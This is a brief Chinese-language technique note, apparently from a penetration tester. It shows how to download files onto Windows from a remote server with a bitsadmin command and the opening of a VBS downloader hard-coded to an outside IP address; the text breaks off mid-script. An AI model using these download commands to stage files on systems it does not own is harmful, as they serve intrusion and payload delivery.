其实这个上传文件是通过vbs脚本加载远程服务器的文件有点像远程文件包含
1. bitsadmin
bitsadmin /transfer myDownLoadJob /download /priority normal "https://127.0.0.1/123.txt" "d:\xmapp\1.txt"
将服务器的1.txt下载到本地并且可以自定义文件名。
2. cscript
cscript vs.vbs
cscript.exe vs.vbs
小朋友你有没有很多的问好,什么是vs.vbs
' downloadfile.vbs
' Set your settings
strFileURL = "http://97.64.83.1/1.txt"
strHDLocation = "d:\\xmapp\1.txt"
' Fetch the file
Set objXMLHTTP = CreateObject